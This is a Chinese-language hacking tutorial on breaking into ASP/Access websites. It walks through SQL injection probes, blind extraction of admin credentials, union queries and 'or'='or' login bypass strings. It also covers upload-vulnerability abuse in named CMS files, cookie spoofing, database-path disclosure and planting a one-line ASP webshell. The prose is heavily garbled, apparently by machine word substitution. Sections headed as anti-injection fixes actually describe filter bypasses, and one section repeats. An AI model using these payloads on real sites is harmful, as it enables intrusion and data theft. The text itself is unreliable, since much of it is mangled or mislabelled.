ACCESSSQL注入

本文由zoujialan贡献
一、注入点的判断及猜解
1.参与单引号 ’提交,
结果:如若现身谬误提醒,则该网站可能就存在注入漏洞。
2.数字型判断是不是有注入;
语句:and 1=1 ;and 1=2 (经典)、’ and ‘1’=1(字符型)
结果:分别重临差其余页面,表达存在注入漏洞.
解析:and 的情趣是“和”如若没有过滤我们的言语,and 1=1就会被代入SQL查询语句举行询问,
假若and前后的两条语句都是真的话就不会出错,但一旦前后语句有一个为假的话,程序就会暴错。
也就标明程序有注入漏洞
防注入解决办法:
1>使用or 2>1 ; or 1>2来进行判定
  结果:分别重临分歧的页面,表明存在注入漏洞.
  分析:or注入只须要前后五个语句要是有一个没错就为真,若是前后多少个语句都是未可厚非的,反而为
假。
   记住:or注入时,or后面的话语如若是不错的,则赶回错误页面!假使是张冠李戴,则赶回正确页面
,表达存在注入点。
2> 使用xor 1=1; xor 1=2
   结果:分别重回不相同的页面,表达存在注入漏洞.
   分析:xor 代表着异或,意思即两次三番的表明式仅有一个为实在时候才为真。
   记住:xor注入时,xor前边的口舌倘若是天经地义的,则赶回错误页面积,如果是谬误,则赶回正确
页面,说明存在注入点。
3>把and 1=1转换成URL编码格局后在付给
  and 1=1 URL编码:%41%4E%44%20%%31%3D%31
4>使用-1;-0
  分析:假设回去的页面和眼前差距,是另一则消息,则意味着有注入漏洞,是数字型的流入漏洞;在 
URL地址前面加上 -0,URL变成 news.asp?id=123-0,重临的页面和眼前的
页面相同,加上-1,重临错误页面,则也象征存在注入漏洞.
3.字符型判断是还是不是有注入:
  语句:’ and ‘1’=1;’ and  ‘1=2(经典)
  结果:结果:分别重返不相同的页面,说明存在注入漏洞.
  分析:参预’ and ‘1’=1回来正确页面,到场’ and  ‘1=2回去错误页面,表达有注入漏同。
  防注入解决办法:
  1>在URL的地方后边加上’%2B’(字符型)
  分析:URL地址变为:news.asp?id=123’%2B’,再次回到的页面和1同;加
上’2%2B’asdf,URL地址变为:news.asp?id=123’%2Basdf,重回的页面和1
不一致,或者说未察觉该条记录,或者失实,则代表存在注入点,是文本型的。
4.搜索型判断是或不是有注入:
粗略的判定搜索型注入漏洞存在不存在的不二法门是先搜索’,若是出错,表明90%设有那个漏洞。然后搜
索%,如果正常重临,表达95%有洞了。
说明:加入如”&;”、”[“、”]”、”%”、”$”、”@”等特殊字符,都得以兑现,借使出现谬误,表达有标题
操作:
查找一个根本字,比如2006呢,正常再次来到所有2006连锁的音信,再寻找2006%’and 1=1 and ‘%’=’和
2006%’and 1=2 and ‘%’=’,存在异议的话,就是100%有洞了。
关键字%’ and 1=1 and ‘%’=’%
关键字%’ and 1=2 and ‘%’=’%
将and 1=1 换成注入语句就可以了
5.判定数据库类型:and user>0  例如:showdetail.asp?id=49 ;and user>0 
只如若ACCESS数据库,那么重回的错误里一般会有”Microsoft JET Database”关键定,若是是MSSQL数
据库的话重回的谬误提醒里一般会蕴藏”SQL Server”关键了.
6.猜表名 and exists (select * from 表名)
  说明:意思与地方一样,只是用的语名不均等。
7.猜列名 and (select count(列名) from 表名)>0
  表明:如若大家输入的列名猜解正确否反回正常页面
8.猜长度 and (select top 1 len(username) from admin)>0
  表明:即使我们输入的终极一位数据再次来到错误,而不当前一位数字重返正确,表明自己所猜解的长度
为正确。
9.猜内容 and (select top 1 asc(mid(username,1,1)) from admin)>50 ascii码1-128
  表达:如若大家输入的最后一位数据重回错误,而不当前一位数字重回正确,表明自己所猜解的数字
科学。(能够应用折半法猜内容)
折半法:最小值与最大值差的一半,比如输入50返正确,输入100回来错误,折半后输入75。
10.一并查询注入(union查询)
操作步骤:
1>在正规说话后台出席 and 1=2 union select * form 表名,其中*号表示字段数量,从1间接扩张
(and 1=2 union select 1,2,3,4 form 表名)就算字段数正确就会有暴错。
2>在页面突显数字的地方用实际得到的字段名代替,如:username,password.
3>在页面字段值处暴出真正的数据库字段值。
二、查找后台地址,找到后台用取得的用户管理员的帐户与密码举办登陆.
三、上传WEBSHELL
主意紧要有:
1.上传漏洞: 假如看到:选用你要上传的文本 [再一次上传]抑或出现“请登陆后使用”,80%就有漏洞
了! 有时上传不一定会水到渠成,这是因为Cookies分化.大家将要用WSockExpert取得Cookies.再用 
DOMAIN上传或是新乡红军上传工具.
1>上传漏洞的文书
  动网是upfile.asp。
  动易是在upfile_soft.asp,(软件上传漏洞)upfile_softpic.asp(图片上传漏洞)
  动感是在uploadflash.asp,upfile_flash.asp,利用抓包工具抓包得到cookies,再用   DOMAIN上
传或是常德老兵上传工具
2>添加上传类型
  asa|asaspp
3>就是在上传时在后缀后边加空格或者加几点,也许也会有好奇的意识。例:*.asp ,*.asp..。
4>上传图片文件木马,使用备份数据库获得asp文件
2.cookies欺骗
  使用cookies可以达标让网站认识你的目标。可是一旦cookies验证不足就会形成cookies欺骗。用  
到工具 柳州老兵cookies欺骗工具。
3.%5c暴库
  把二级目录中间的/换成%5c EY:otherweb … s.asp?BigClassName=职
责范围&;BigClassType=1 即便你能看出:’E:\ahttc040901
\otherweb\dz\database\iXuEr_Studio.asa’不是一个得力的 路径。 确定路径名称拼写是不是正确,
以及是或不是 连接到文件存放的服务器。 这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行

4.conn.asp暴库
  这些也是相比较老的狐狸尾巴,利用市值不大
5.’or’=’or’万能密码登陆
  ’or’=’or’这是一个可以接连SQL的语名句.可以平素进去后台。我采访了弹指间。类似的还有 : 
  ’or’’=’ ” or “a”=”a ’) or (’a’=’a “) or (“a”=”a or 1=1– ’ or ’ a’=’a  
  一个很老的运用形式,首要用来一些比较老的网站。
6.旁注,也就是跨站. 大家侵犯某站时可能这一个站坚固的无懈可击,我们可以找下和那一个站同一服务
器的站点,然后在利 用这几个站点用提权,嗅探等措施来侵略大家 要入侵的站点。,在此间有个难点
,就是有的劳务器 的相对路径经过加密,那就看大家的本事了 
7.写入ASP格式数据库。就是一句话木马[〈%execute request(“value”)%〉 ],常用在留言本. 如:
其一就是ASP格式的数据库或者可以写入内容的
ASP文件,如南方数据的种类布局],再写 入一句话木马.
8.旁注,也就是跨站. 大家侵袭某站时或许那几个站坚固的无懈可击,大家得以找下和那几个站同一服务
器的站点,然后在利 用那个站点用提权,嗅探等办法来侵袭我们 要入侵的站点。,在此地有个难点
,就是局地劳动器 的相对路径经过加密,这就看大家的本事了
四、整站利用
    动网BBS 可以先用:dvbbs权限提高工具,使自已变为前 
   台管理员。 THEN,运用:动网固顶贴工具,找个固顶贴,再拿走总老董KIES,这一个要你自已做。我   
们能够用 WSockExpert取得Cookies/NC包 那几个自家就不做了,网上教程多的是,自已下个看看。     
工具:dvbbs权限升高工具 动网固顶贴工具
总结:
私家认为ACCESS网站注比不是很灵敏,方法我们都驾驭,针对国内的网站以来我们可以到网站寻找
网站是选用什么顺序改过来的,现在一般都是使用已经存在的店堂网站系统来进展改动。

下一篇整理MSSQL注入方法,MSSQL注入至极的灵巧,效能也特意强大.只要找到注入点,一般
境况下是足以砍下来的,

相关文章